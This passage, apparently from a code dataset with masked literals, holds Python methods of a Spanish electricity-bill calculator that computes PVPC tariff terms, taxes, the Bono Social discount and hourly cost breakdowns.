cod_peaje=self._tipo_peaje,<EOL>consumo_total=self.consumo_total,<EOL>desc_peaje=DATOS_TIPO_PEAJE[self._tipo_peaje][<NUM_LIT:0>],<EOL>p_contrato=self._round(self._potencia_contratada),<EOL>con_bono='<STR_LIT>' if self._con_bono_social else '<STR_LIT>',<EOL>coste_medida=self._round(self.gasto_equipo_medida),<EOL>desc_impuesto=DATOS_ZONAS_IMPUESTOS[self._zona_impuestos][<NUM_LIT:0>], dias_fact=self.num_dias_factura,<EOL>detalle_descuento='<STR_LIT>'.format(detalle_descuento),<EOL>coste_impuesto_elec=self.impuesto_electrico_general,<EOL>total_termino_fijo=_linetotal(\"<STR_LIT>\", self.coste_termino_fijo),<EOL>total_termino_variable=_linetotal(\"<STR_LIT>\", self.coste_termino_consumo),<EOL>total_equipo_medida=_linetotal(\"<STR_LIT>\", self.gasto_equipo_medida),<EOL>total_factura=_linetotal(\"<STR_LIT>\", self.coste_total),<EOL>detalle_term_fijo=detalle_tfijo, detalle_iva=_linetotal(detalle_iva, self.coste_iva),<EOL>detalle_term_variable='<STR_LIT>'.join(det_tvar), detalle_term_impuesto_elec=detalle_impelec)<EOL>self._str_repr = TEMPLATE_FACTURA.format(**params)<EOL><DEDENT>return self._str_repr<EOL>", "docstring": "Representaci\u00f3n en texto de la factura el\u00e9ctrica.", "id": "f14218:c0:m1"}
{"signature": "def to_dict(self, include_text_repr=False, include_html_repr=False):", "body": "if self._dict_repr is None:<EOL><INDENT>tea_tcu_cons = [(self._round(tea), self._round(tcu), self._round(ct))<EOL>for tea, tcu, ct in zip(self._coste_peaje_acceso_tea, self._coste_ponderado_energia_tcu,<EOL>self._consumos_totales_por_periodo)]<EOL>periodos_fact = [(ndias, ndias_a\u00f1o, a\u00f1o, coste, coef_p)<EOL>for (ndias, ndias_a\u00f1o, a\u00f1o), (coste, coef_p)<EOL>in zip(self._periodos_fact, self._termino_fijo)],<EOL>self._dict_repr = dict(cups=self._cups, cod_peaje=self._tipo_peaje, consumo_total=self.consumo_total,<EOL>ts_ini='<STR_LIT>'.format(self._t0), ts_fin='<STR_LIT>'.format(self._tf),<EOL>p_contrato=self._round(self._potencia_contratada), dias_fact=self.num_dias_factura,<EOL>con_bono=self._con_bono_social, coste_medida=self._round(self.gasto_equipo_medida),<EOL>descuento_bono_social=self._round(self.descuento_bono_social),<EOL>desc_peaje=DATOS_TIPO_PEAJE[self._tipo_peaje][<NUM_LIT:0>],<EOL>desc_impuesto=DATOS_ZONAS_IMPUESTOS[self._zona_impuestos][<NUM_LIT:0>],<EOL>coste_impuesto_elec=self._round(self.impuesto_electrico_general),<EOL>coste_termino_fijo=self._round(self.coste_termino_fijo),<EOL>coste_termino_consumo=self._round(self.coste_termino_consumo),<EOL>impuesto_elec=self._impuesto_electrico_general * <NUM_LIT>,<EOL>periodos_fact=periodos_fact, tea_tcu_consumo=tea_tcu_cons,<EOL>total_factura=self._round(self.coste_total),<EOL>tipos_iva=DATOS_ZONAS_IMPUESTOS[self._zona_impuestos][<NUM_LIT:1>:],<EOL>coste_iva=self._round(self.coste_iva))<EOL><DEDENT>dict_params = self._dict_repr.copy()<EOL>if include_text_repr:<EOL><INDENT>dict_params.update(text_repr=str(self))<EOL><DEDENT>if include_html_repr:<EOL><INDENT>dict_params.update(html_repr=self.to_html())<EOL><DEDENT>return dict_params<EOL>", "docstring": "Representaci\u00f3n como `dict` de los componentes de la factura el\u00e9ctrica.\n        :param include_text_repr: bool para incluir la representaci\u00f3n de la factura en texto plano\n        :param include_html_repr: bool para incluir la representaci\u00f3n de la factura en HTML\n        :return dict_factura\n        :rtype dict", "id": "f14218:c0:m2"}
{"signature": "def to_html(self, web_completa=False):", "body": "<EOL>if self._html_repr is None:<EOL><INDENT>params = self.to_dict()<EOL>fact_templ = _render_jinja2_template(TEMPLATE_FACTURA_HTML, dict(factura=params))<EOL>self._html_repr = fact_templ<EOL><DEDENT>if web_completa:<EOL><INDENT>if self._html_repr_completa is None:<EOL><INDENT>self._html_repr_completa = _render_jinja2_template(TEMPLATE_FACTURA_WEB,<EOL>dict(factura_html=self._html_repr))<EOL><DEDENT>return self._html_repr_completa<EOL><DEDENT>return self._html_repr<EOL>", "docstring": "Genera una representaci\u00f3n en HTML de la factura el\u00e9ctrica.\n        Para su renderizado o env\u00edo por email. Utiliza clases CSS de bootstrap 4.0.\n        :param web_completa: bool para generar una p\u00e1gina web completa (<html> <head> ...)", "id": "f14218:c0:m3"}
{"signature": "def _check_hourly_data(self, consumo_horario):", "body": "if not consumo_horario.index.is_unique:<EOL><INDENT>consumo_horario = (consumo_horario<EOL>.reset_index()<EOL>.drop_duplicates(subset='<STR_LIT>', keep='<STR_LIT>')<EOL>.set_index('<STR_LIT>'))[COL_CONSUMO]<EOL><DEDENT>horas = (consumo_horario.index[-<NUM_LIT:1>] - consumo_horario.index[<NUM_LIT:0>]).total_seconds() / <NUM_LIT> + <NUM_LIT:1><EOL>if round(horas, <NUM_LIT:1>) != round(float(len(consumo_horario.index)), <NUM_LIT:1>):<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>.format(len(consumo_horario.index), horas))<EOL>consumo_horario = _reindex_consumo(consumo_horario)<EOL><DEDENT>if consumo_horario.index.tz is None:<EOL><INDENT>tz = self._pvpc_horario.index.tz<EOL>try:<EOL><INDENT>consumo_horario.index = consumo_horario.index.tz_localize(tz, ambiguous='<STR_LIT>')<EOL><DEDENT>except AmbiguousTimeError as e:<EOL><INDENT>consumo_horario.index = consumo_horario.index.tz_localize(tz, ambiguous='<STR_LIT>')<EOL>new_idx = pd.DatetimeIndex(start=consumo_horario.index[<NUM_LIT:0>], freq='<STR_LIT>', tz=tz,<EOL>end=consumo_horario.index[-<NUM_LIT:1>])<EOL>consumo_horario = consumo_horario.reindex(new_idx).interpolate()<EOL>print('<STR_LIT>'.format(e))<EOL><DEDENT><DEDENT>return consumo_horario.rename(COL_CONSUMO)<EOL>", "docstring": "Checkea, y corrige si es necesario, el \u00edndice temporal de la serie de datos de consumo horario,\n        asignando timezone si naive, y reindexando si faltan horas. Para el caso de 'missing values',\n        al reindexar, aplica un bfill + ffill de m\u00e1ximo 1 valor, y el resto los pone a 0:\n            `.reindex(new_idx).fillna(method='bfill', limit=1).fillna(method='ffill', limit=1).fillna(0.)`", "id": "f14218:c0:m6"}
{"signature": "def _consumo_numerico(self):", "body": "if (type(self._consumo) is float) or (type(self._consumo) is int):<EOL><INDENT>return True, [float(self._consumo)]<EOL><DEDENT>elif (type(self._consumo) is tuple) or (type(self._consumo) is list):<EOL><INDENT>return True, self._consumo<EOL><DEDENT>return False, self._consumo<EOL>", "docstring": "Devuelve los datos de consumo y un booleano indicando si se trata de valores totales o es un pd.Series.\n:return: son_totales, consumo_kWh", "id": "f14218:c0:m8"}
{"signature": "def _coste_tea_tcu(self, consumo, tcu, periodo_fac):", "body": "coefs_ener = TERM_ENER_PEAJE_ACCESO_EUR_KWH_TEA[periodo_fac][self._tipo_peaje]<EOL>if len(coefs_ener) > <NUM_LIT:1>:  <EOL><INDENT>name = consumo.name<EOL>hay_discr, cons_discr = self._asigna_periodos_discr_horaria(consumo)<EOL>assert hay_discr<EOL>assert tcu.index.equals(cons_discr.index)<EOL>return [(cons_discr[cons_discr['<STR_LIT>'.format(i + <NUM_LIT:1>)]][name].sum() * coef,<EOL>(cons_discr[cons_discr['<STR_LIT>'.format(i + <NUM_LIT:1>)]][name] * tcu[cons_discr['<STR_LIT>'.format(i + <NUM_LIT:1>)]]).sum(),<EOL>cons_discr[cons_discr['<STR_LIT>'.format(i + <NUM_LIT:1>)]][name].sum())<EOL>for i, coef in enumerate(coefs_ener)]<EOL><DEDENT>else:<EOL><INDENT>if not tcu.index.equals(consumo.index):<EOL><INDENT>print('<STR_LIT>')<EOL>consumo = _reindex_consumo(consumo)<EOL><DEDENT>return [(consumo.sum() * coefs_ener[<NUM_LIT:0>], (consumo * tcu).sum(), consumo.sum())]<EOL><DEDENT>", "docstring": "Devuelve TEA, TCU, CONSUMO como lista de tuplas por periodo de facturaci\u00f3n.\n        :return [(TEA_P1, TCU_P1, C_P1), (TEA_P2, TCU_P2, C_P2), ...]\n        :rtype list", "id": "f14218:c0:m9"}
{"signature": "def _calcula_iva_y_total(self):", "body": "<EOL>subt_fijo_var = self._termino_fijo_total + self._termino_variable_total<EOL>subt_fijo_var += self._termino_impuesto_electrico + self._descuento_bono_social<EOL>_, impuesto_gen, impuesto_medida = DATOS_ZONAS_IMPUESTOS[self._zona_impuestos]<EOL>self._terminos_iva = (subt_fijo_var * impuesto_gen, self._termino_equipo_medida * impuesto_medida)<EOL>self._termino_iva_total = self._round(self._terminos_iva[<NUM_LIT:0>] + self._terminos_iva[<NUM_LIT:1>])<EOL>subt_fijo_var += self._termino_equipo_medida + self._termino_iva_total<EOL>self._total_factura = self._round(subt_fijo_var)<EOL>", "docstring": "A\u00f1ade el IVA y obtiene el total.", "id": "f14218:c0:m10"}
{"signature": "def _calcula_factura(self):", "body": "<EOL>self._dict_repr = None<EOL>self._str_repr = None<EOL>self._html_repr = None<EOL>self._html_repr_completa = None<EOL>cod_tarifa = DATOS_TIPO_PEAJE[self._tipo_peaje][<NUM_LIT:1>]<EOL>year = self._t0.year<EOL>year_f = self._tf.year<EOL>self._num_dias_factura = (self._tf - self._t0).days  <EOL>if year_f > year:<EOL><INDENT>ts_limit = pd.Timestamp('<STR_LIT>'.format(year))<EOL>days_1 = (ts_limit - self._t0).days<EOL>days_2 = (self._tf - ts_limit).days<EOL>n_days_y1 = (pd.Timestamp('<STR_LIT>'.format(year + <NUM_LIT:1>)) - pd.Timestamp('<STR_LIT>'.format(year))).days<EOL>n_days_y2 = (pd.Timestamp('<STR_LIT>'.format(year_f + <NUM_LIT:1>)) - pd.Timestamp('<STR_LIT>'.format(year_f))).days<EOL>self._periodos_fact = ((days_1, n_days_y1, year), (days_2, n_days_y2, year_f))<EOL><DEDENT>else:<EOL><INDENT>n_days_y = (pd.Timestamp('<STR_LIT>'.format(year + <NUM_LIT:1>)) - pd.Timestamp('<STR_LIT>'.format(year))).days<EOL>self._periodos_fact = ((self._num_dias_factura, n_days_y, year),)<EOL><DEDENT>if self._pvpc_data is None:<EOL><INDENT>pvpc_data = PVPC(update=True, verbose=False)<EOL>self._pvpc_data = pvpc_calc_tcu_cp_feu_d(pvpc_data.data['<STR_LIT:data>'], verbose=False, convert_kwh=True)<EOL><DEDENT>cols_tarifa = list(filter(lambda x: cod_tarifa in x, self._pvpc_data.columns))<EOL>pvpc_t_ini, pvpc_t_fin = self._t0 + pd.Timedelta('<STR_LIT>'), self._tf + pd.Timedelta('<STR_LIT>')<EOL>self._pvpc_horario = self._pvpc_data[cols_tarifa].loc[pvpc_t_ini:pvpc_t_fin].iloc[:-<NUM_LIT:1>]<EOL>self._termino_fijo, self._termino_fijo_total = [], <NUM_LIT:0><EOL>for (days_fac, days_year, year) in self._periodos_fact:<EOL><INDENT>coef_potencia = MARGEN_COMERCIALIZACI\u00d3N_EUR_KW_A\u00d1O_MCF + TERM_POT_PEAJE_ACCESO_EUR_KW_A\u00d1O_TPA[year]<EOL>coste = self._potencia_contratada * days_fac * coef_potencia / days_year<EOL>self._termino_fijo.append((coste, coef_potencia))<EOL>self._termino_fijo_total += coste<EOL><DEDENT>self._termino_fijo_total = self._round(self._termino_fijo_total)<EOL>if self._consumo is not None:<EOL><INDENT>son_totales, consumo_calc = self._consumo_numerico()<EOL>if son_totales:<EOL><INDENT>c_coef = '<STR_LIT>'.format(cod_tarifa)<EOL>hay_discr, perfs_interv = self._asigna_periodos_discr_horaria(self._pvpc_horario[c_coef])<EOL>if not hay_discr:<EOL><INDENT>self._consumo_horario = (perfs_interv * consumo_calc[<NUM_LIT:0>] / perfs_interv.sum()).rename(COL_CONSUMO)<EOL><DEDENT>else:<EOL><INDENT>consumos_horarios_periodos = []<EOL>for i, cons_periodo_i in enumerate(consumo_calc):<EOL><INDENT>c = '<STR_LIT>'.format(i + <NUM_LIT:1>)<EOL>idx = perfs_interv[perfs_interv[c]].index<EOL>consumos_horarios_periodos.append(perfs_interv.loc[idx, c_coef] * cons_periodo_i<EOL>/ perfs_interv.loc[idx, c_coef].sum())<EOL><DEDENT>self._consumo_horario = pd.Series(pd.concat(consumos_horarios_periodos)<EOL>).rename(COL_CONSUMO).sort_index()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._consumo_horario = self._check_hourly_data(consumo_calc)<EOL>t0, tf = self._consumo_horario.index[<NUM_LIT:0>], self._consumo_horario.index[-<NUM_LIT:1>]<EOL>self._pvpc_horario = self._pvpc_horario.loc[t0:tf]<EOL><DEDENT>col_tcu = '<STR_LIT>'.format(cod_tarifa)<EOL>if len(self._periodos_fact) > <NUM_LIT:1>:<EOL><INDENT>ts_limit = pd.Timestamp('<STR_LIT>'.format(self._tf.year)).tz_localize(self._consumo_horario.index.tz)<EOL>consumo_1 = self._consumo_horario.loc[:ts_limit].iloc[:-<NUM_LIT:1>]<EOL>consumo_2 = self._consumo_horario.loc[ts_limit:]<EOL>pvpc_1 = self._pvpc_horario.loc[:ts_limit].iloc[:-<NUM_LIT:1>]<EOL>pvpc_2 = self._pvpc_horario.loc[ts_limit:]<EOL>tea_y1, tcu_y1, cons_tot_y1 = list(zip(*self._coste_tea_tcu(consumo_1, pvpc_1[col_tcu], self._t0.year)))<EOL>tea_y2, tcu_y2, cons_tot_y2 = list(zip(*self._coste_tea_tcu(consumo_2, pvpc_2[col_tcu], self._tf.year)))<EOL>self._coste_peaje_acceso_tea = (tea_y1, tea_y2)<EOL>self._coste_ponderado_energia_tcu = (tcu_y1, tcu_y2)<EOL>self._consumos_totales_por_periodo = (cons_tot_y1, cons_tot_y2)<EOL>coste_variable_tot = sum([sum(x) for x in self._coste_peaje_acceso_tea])<EOL>coste_variable_tot += sum([sum(x) for x in self._coste_ponderado_energia_tcu])<EOL><DEDENT>else:<EOL><INDENT>tea, tcu, cons_tot = list(zip(*self._coste_tea_tcu(self._consumo_horario, self._pvpc_horario[col_tcu],<EOL>self._t0.year)))<EOL>self._coste_peaje_acceso_tea = tea<EOL>self._coste_ponderado_energia_tcu = tcu<EOL>self._consumos_totales_por_periodo = cons_tot<EOL>coste_variable_tot = self._round_sum(self._coste_peaje_acceso_tea)<EOL>coste_variable_tot += self._round_sum(self._coste_ponderado_energia_tcu)<EOL><DEDENT>self._consumo = self._consumo_horario<EOL><DEDENT>else:<EOL><INDENT>self._coste_peaje_acceso_tea = (<NUM_LIT:0.>,)<EOL>self._coste_ponderado_energia_tcu = (<NUM_LIT:0.>,)<EOL>self._consumos_totales_por_periodo = (<NUM_LIT:0.>,)<EOL>coste_variable_tot = <NUM_LIT:0.><EOL><DEDENT>self._termino_variable_total = self._round(coste_variable_tot)<EOL>subt_fijo_var = self._termino_fijo_total + self._termino_variable_total<EOL>self._descuento_bono_social = <NUM_LIT:0.><EOL>if self._con_bono_social:<EOL><INDENT>self._descuento_bono_social = self._round(-<NUM_LIT> * self._round(subt_fijo_var))<EOL>subt_fijo_var += self._descuento_bono_social<EOL><DEDENT>self._termino_impuesto_electrico = self._round(self._impuesto_electrico_general * subt_fijo_var)<EOL>subt_fijo_var += self._termino_impuesto_electrico<EOL>if self.alquiler_euros is not None:<EOL><INDENT>self._termino_equipo_medida = self._round(self.alquiler_euros)<EOL><DEDENT>else:<EOL><INDENT>frac_a\u00f1o = sum([nd / dy for nd, dy, _ in self._periodos_fact])<EOL>self._termino_equipo_medida = self._round(frac_a\u00f1o * self.alquiler_euros_a\u00f1o)<EOL><DEDENT>self._calcula_iva_y_total()<EOL>", "docstring": "M\u00e9todo para regenerar el c\u00e1lculo de la factura el\u00e9ctrica.", "id": "f14218:c0:m11"}
{"signature": "@property<EOL><INDENT>def consumo_horario(self):<DEDENT>", "body": "return self._consumo_horario<EOL>", "docstring": "Devuelve los datos de consumo como time series horario. Si el consumo no tiene discriminaci\u00f3n horaria,\n        se aplican los perfiles de consumo para la tarifa seleccionada y el intervalo facturado,\n        estimando los valores horarios.", "id": "f14218:c0:m12"}
{"signature": "@property<EOL><INDENT>def pvpc_horas_periodo(self):<DEDENT>", "body": "return self._pvpc_horario<EOL>", "docstring": "Devuelve los datos del PVPC en el intervalo facturado para el tipo de tarifa considerado.\n        :return: pvpc \u20ac/kWh\n        :rtype: pd.Dataframe", "id": "f14218:c0:m13"}
{"signature": "@property<EOL><INDENT>def num_dias_factura(self):<DEDENT>", "body": "return self._num_dias_factura<EOL>", "docstring": "Devuelve el # de d\u00edas del periodo facturado.", "id": "f14218:c0:m14"}
{"signature": "@property<EOL><INDENT>def tipo_peaje(self):<DEDENT>", "body": "return self._tipo_peaje<EOL>", "docstring": "Devuelve el tipo de tarifa asociada a la factura el\u00e9ctrica.", "id": "f14218:c0:m15"}
{"signature": "@tipo_peaje.setter<EOL><INDENT>def tipo_peaje(self, tarifa):<DEDENT>", "body": "peajes = [TIPO_PEAJE_GEN, TIPO_PEAJE_NOC, TIPO_PEAJE_VHC]<EOL>codes_peajes = [DATOS_TIPO_PEAJE[p][<NUM_LIT:1>] for p in peajes]<EOL>if type(tarifa) is int:<EOL><INDENT>self._tipo_peaje = peajes[tarifa - <NUM_LIT:1>]<EOL><DEDENT>elif tarifa in peajes:<EOL><INDENT>self._tipo_peaje = peajes[peajes.index(tarifa)]<EOL><DEDENT>elif tarifa in codes_peajes:<EOL><INDENT>self._tipo_peaje = peajes[codes_peajes.index(tarifa)]<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'<EOL>.format(tarifa, '<STR_LIT:|>'.join(peajes), '<STR_LIT:|>'.join(codes_peajes)))<EOL><DEDENT>self._calcula_factura()<EOL>", "docstring": "Establece el tipo de tarifa asociada a la factura el\u00e9ctrica.\n        :param tarifa: int 1|2|3 \u00f3 str GEN|NOC|VHC \u00f3 str 2.0A|2.0DHA|2.0DHS", "id": "f14218:c0:m16"}
{"signature": "@property<EOL><INDENT>def consumo_total(self):<DEDENT>", "body": "if self._consumo is not None:<EOL><INDENT>return self._round(self._consumo.sum())<EOL><DEDENT>print('<STR_LIT>')<EOL>return <NUM_LIT:0.><EOL>", "docstring": "Devuelve el consumo total del periodo facturado en kWh.\n        :return consumo_kWh\n        :rtype float", "id": "f14218:c0:m17"}
{"signature": "@consumo_total.setter<EOL><INDENT>def consumo_total(self, nuevo_consumo):<DEDENT>", "body": "self._consumo = nuevo_consumo<EOL>self._calcula_factura()<EOL>", "docstring": "Establece el consumo energ\u00e9tico del periodo de facturaci\u00f3n en kWh.\n        :param nuevo_consumo: Consumo en kWh, bien como float, bien como lista de 1, 2 o 3 elementos,\n        bien como time series de datos horarios.", "id": "f14218:c0:m18"}
{"signature": "@property<EOL><INDENT>def gasto_equipo_medida(self):<DEDENT>", "body": "return self._termino_equipo_medida<EOL>", "docstring": "Devuelve el gasto relativo al alquiler de equipos de medida antes de impuestos, en \u20ac.\n        :return gasto_alquiler\n        :rtype float", "id": "f14218:c0:m19"}
{"signature": "@gasto_equipo_medida.setter<EOL><INDENT>def gasto_equipo_medida(self, nuevo_gasto):<DEDENT>", "body": "self.alquiler_euros = nuevo_gasto<EOL>self._termino_equipo_medida = self._round(nuevo_gasto)<EOL>self._calcula_iva_y_total()<EOL>", "docstring": "Establece el gasto relativo al alquiler de equipos de medida antes de impuestos, en \u20ac, de forma absoluta.\n        :param nuevo_gasto: Gasto en \u20ac", "id": "f14218:c0:m20"}
{"signature": "@property<EOL><INDENT>def coste_termino_fijo(self):<DEDENT>", "body": "return self._termino_fijo_total<EOL>", "docstring": "Calcula el coste del t\u00e9rmino de potencia antes de impuestos, en \u20ac.\n        :return gasto_potencia\n        :rtype float", "id": "f14218:c0:m21"}
{"signature": "@property<EOL><INDENT>def coste_termino_consumo(self):<DEDENT>", "body": "return self._termino_variable_total<EOL>", "docstring": "Calcula el coste asociado al consumo de energ\u00eda en el periodo facturado, antes de impuestos, en \u20ac.\n        :return gasto_energia\n        :rtype float", "id": "f14218:c0:m22"}
{"signature": "@property<EOL><INDENT>def descuento_bono_social(self):<DEDENT>", "body": "return self._descuento_bono_social<EOL>", "docstring": "Calcula el importe del descuento por Bono Social, si lo hay, antes de impuestos, en \u20ac.\n        :return descuento\n        :rtype float", "id": "f14218:c0:m23"}
{"signature": "@property<EOL><INDENT>def impuesto_electrico_general(self):<DEDENT>", "body": "return self._termino_impuesto_electrico<EOL>", "docstring": "Calcula el importe del impuesto el\u00e9ctrico, antes de IVA o equivalente, en \u20ac.\n        :return impuesto\n        :rtype float", "id": "f14218:c0:m24"}
{"signature": "@property<EOL><INDENT>def coste_iva(self):<DEDENT>", "body": "return self._termino_iva_total<EOL>", "docstring": "Calcula el importe del IVA o equivalente, en \u20ac.\n        :return impuesto\n        :rtype float", "id": "f14218:c0:m25"}
{"signature": "@property<EOL><INDENT>def coste_total(self):<DEDENT>", "body": "return self._total_factura<EOL>", "docstring": "Calcula el importe total de la factura el\u00e9ctrica, en \u20ac.\n        :return coste\n        :rtype float", "id": "f14218:c0:m26"}
{"signature": "def generacion_csv_oficial_consumo_horario(self, save_pathdir=None):", "body": "df_csv = pd.DataFrame(self._consumo_horario)<EOL>columns = '<STR_LIT>'.split('<STR_LIT:;>')<EOL>date_fmt = '<STR_LIT>'<EOL>time_fmt = '<STR_LIT>'<EOL>metodo_obt = '<STR_LIT:R>'<EOL>df_csv[columns[<NUM_LIT:0>]] = self._cups<EOL>df_csv[columns[<NUM_LIT:1>]] = [date_fmt.format(x) for x in df_csv.index]<EOL>df_csv[columns[<NUM_LIT:2>]] = [int(time_fmt.format(x)) + <NUM_LIT:1> for x in df_csv.index]<EOL>df_csv[columns[<NUM_LIT:3>]] = df_csv[self._consumo_horario.name].round(<NUM_LIT:3>)<EOL>df_csv[columns[<NUM_LIT:4>]] = metodo_obt<EOL>df_csv.drop(self._consumo_horario.name, axis=<NUM_LIT:1>, inplace=True)<EOL>if save_pathdir is not None:  <EOL><INDENT>params_csv = dict(index=False, sep='<STR_LIT:;>', decimal='<STR_LIT:U+002C>', float_format='<STR_LIT>')<EOL>path_csv = os.path.join(os.path.expanduser(save_pathdir),<EOL>'<STR_LIT>'.format(pd.Timestamp(self._t0), self._tf))<EOL>df_csv.to_csv(path_csv, **params_csv)<EOL><DEDENT>return df_csv<EOL>", "docstring": "Genera o graba el consumo horario en CSV, con el formato utilizado por las distribuidoras (oficial de facto),\npara su importaci\u00f3n en otras herramientas, como la existente en: https://facturaluz2.cnmc.es/facturaluz2.html\n\nEl formato es el siguiente:\n```\n    CUPS;Fecha;Hora;Consumo_kWh;Metodo_obtencion\n    ES00XXXXXXXXXXXXXXDB;06/09/2015;1;0,267;R\n    ES00XXXXXXXXXXXXXXDB;06/09/2015;2;0,143;R\n    ES00XXXXXXXXXXXXXXDB;06/09/2015;3;0,118;R\n    ...\n```\n:param save_pathdir: (OPC) path_str de destino para grabar el CSV.\n:return: dataframe de consumo con 'formato oficial'\n:rtype: pd.dataframe", "id": "f14218:c0:m27"}
{"signature": "def reparto_coste(self, detallado=False):", "body": "<EOL>cod_tarifa = DATOS_TIPO_PEAJE[self._tipo_peaje][<NUM_LIT:1>]<EOL>_, impuesto_gen, impuesto_medida = DATOS_ZONAS_IMPUESTOS[self._zona_impuestos]<EOL>coste_horario = pd.DataFrame(self._consumo_horario)<EOL>for (ndias, ndias_a\u00f1o, a\u00f1o), (coste, coef_p) in zip(self._periodos_fact, self._termino_fijo):<EOL><INDENT>b_period_f = coste_horario.index.year == a\u00f1o<EOL>coste_horario.loc[b_period_f, '<STR_LIT>'] = coef_p * self._potencia_contratada / (<NUM_LIT> * ndias_a\u00f1o)<EOL>coefs_ener = TERM_ENER_PEAJE_ACCESO_EUR_KWH_TEA[a\u00f1o][self._tipo_peaje]<EOL>tcu = self._pvpc_horario['<STR_LIT>'.format(cod_tarifa)].loc[b_period_f]<EOL>hay_discr, cons_discr = self._asigna_periodos_discr_horaria(coste_horario.loc[b_period_f, COL_CONSUMO])<EOL>if hay_discr:<EOL><INDENT>for c, coef in zip(cons_discr.columns[<NUM_LIT:1>:], coefs_ener):<EOL><INDENT>sub_pd = cons_discr[cons_discr[c]]<EOL>coste_horario.loc[sub_pd.index, '<STR_LIT>'] = coste_horario.loc[sub_pd.index, COL_CONSUMO] * coef<EOL><DEDENT><DEDENT>else:<EOL><INDENT>coste_horario.loc[b_period_f, '<STR_LIT>'] = coste_horario.loc[b_period_f, COL_CONSUMO] * coefs_ener[<NUM_LIT:0>]<EOL><DEDENT>coste_horario.loc[b_period_f, '<STR_LIT>'] += tcu * coste_horario.loc[b_period_f, COL_CONSUMO]<EOL><DEDENT>cols_suma = ['<STR_LIT>', '<STR_LIT>']<EOL>if self._con_bono_social:<EOL><INDENT>coste_horario['<STR_LIT>'] = coste_horario[cols_suma].sum(axis=<NUM_LIT:1>) * -<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>coste_horario['<STR_LIT>'] = <NUM_LIT:0.><EOL><DEDENT>cols_suma += ['<STR_LIT>']<EOL>coste_horario['<STR_LIT>'] = coste_horario[cols_suma].sum(axis=<NUM_LIT:1>) * self._impuesto_electrico_general<EOL>coste_horario['<STR_LIT>'] = self.gasto_equipo_medida / len(self._consumo_horario)<EOL>cols_suma += ['<STR_LIT>']<EOL>coste_horario['<STR_LIT>'] = coste_horario[cols_suma].sum(axis=<NUM_LIT:1>) * impuesto_gen<EOL>coste_horario['<STR_LIT>'] += coste_horario['<STR_LIT>'] * impuesto_medida<EOL>cols_suma += ['<STR_LIT>', '<STR_LIT>']<EOL>if detallado:<EOL><INDENT>return coste_horario<EOL><DEDENT>else:<EOL><INDENT>return coste_horario[cols_suma].sum(axis=<NUM_LIT:1>).rename('<STR_LIT>')<EOL><DEDENT>", "docstring": "Devuelve un pd.DataFrame o pd.Series con el coste facturado repartido por horas, conforme al consumo y precio\n        de cada hora.\n        Dado que el suministrador aplica convenientes redondeos por cada t\u00e9rmino facturado, se observar\u00e1 que la suma de\n        la serie de coste no coincide necesariamente con el importe total de la factura, admitiendo cierto error m\u00ednimo.\n        La mejor aproximaci\u00f3n se consigue r\u00e1pidamente obteniendo el df de costes y haciendo la suma:\n          `df_coste.drop(COL_CONSUMO, axis=1).sum(axis=0).round(2).sum()`\n        Aunque \u00e9sta tampoco es exactamente igual al proceso seguido por el c\u00e1lculo de la factura.\n\n        :param detallado: Si `True`, devuelve el pd.Dataframe con coste repartido en por columnas,\n        coste total como pd.Series por defecto.\n        :return: coste_horario", "id": "f14218:c0:m28"}
{"signature": "def plot_consumo_diario(self, ax=None):", "body": "p_params = dict(figsize=(<NUM_LIT:16>, <NUM_LIT:9>)) if ax is None else dict(ax=ax)<EOL>consumo_diario = self._consumo_horario.groupby(pd.TimeGrouper('<STR_LIT:D>')).sum()<EOL>ax = consumo_diario.plot(color='<STR_LIT>', lw=<NUM_LIT:2>, **p_params)<EOL>params_lines = dict(lw=<NUM_LIT:1>, linestyle='<STR_LIT::>', alpha=<NUM_LIT>)<EOL>xlim = consumo_diario[<NUM_LIT:0>], consumo_diario.index[-<NUM_LIT:1>]<EOL>ax.hlines([consumo_diario.mean()], *xlim, color='<STR_LIT>', **params_lines)<EOL>ax.hlines([consumo_diario.max()], *xlim, color='<STR_LIT>', **params_lines)<EOL>ax.hlines([consumo_diario.min()], *xlim, color='<STR_LIT>', **params_lines)<EOL>ax.set_title('<STR_LIT>'.format(self.consumo_total))<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylim((<NUM_LIT:0>, consumo_diario.max() * <NUM_LIT>))<EOL>ax.grid('<STR_LIT>', axis='<STR_LIT:x>')<EOL>return ax<EOL>", "docstring": "Gr\u00e1fica del consumo diario en el intervalo.\n        :param ax: optional matplotlib axes\n        :return: matplotlib axes", "id": "f14218:c0:m29"}
{"signature": "def plot_patron_semanal_consumo(self, ax=None):", "body": "consumo_diario = self._consumo_horario.groupby(pd.TimeGrouper('<STR_LIT:D>')).sum()<EOL>media_semanal = consumo_diario.groupby(lambda x: x.weekday).mean().round(<NUM_LIT:1>)<EOL>d\u00edas_semana = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>media_semanal.columns = d\u00edas_semana<EOL>p_params = dict(figsize=(<NUM_LIT:16>, <NUM_LIT:9>)) if ax is None else dict(ax=ax)<EOL>ax = media_semanal.T.plot(kind='<STR_LIT:bar>', color='<STR_LIT>', legend=False, **p_params)<EOL>ax.set_xticklabels(d\u00edas_semana, rotation=<NUM_LIT:0>)<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.grid('<STR_LIT>', axis='<STR_LIT:y>')<EOL>ax.hlines([consumo_diario.mean()], -<NUM_LIT:1>, <NUM_LIT:7>, lw=<NUM_LIT:3>, color='<STR_LIT>', linestyle='<STR_LIT::>')<EOL>return ax<EOL>", "docstring": "Gr\u00e1fica de consumo medio por d\u00eda de la semana (patr\u00f3n semanal de consumo).\n        :param ax: optional matplotlib axes\n        :return: matplotlib axes", "id": "f14218:c0:m30"}
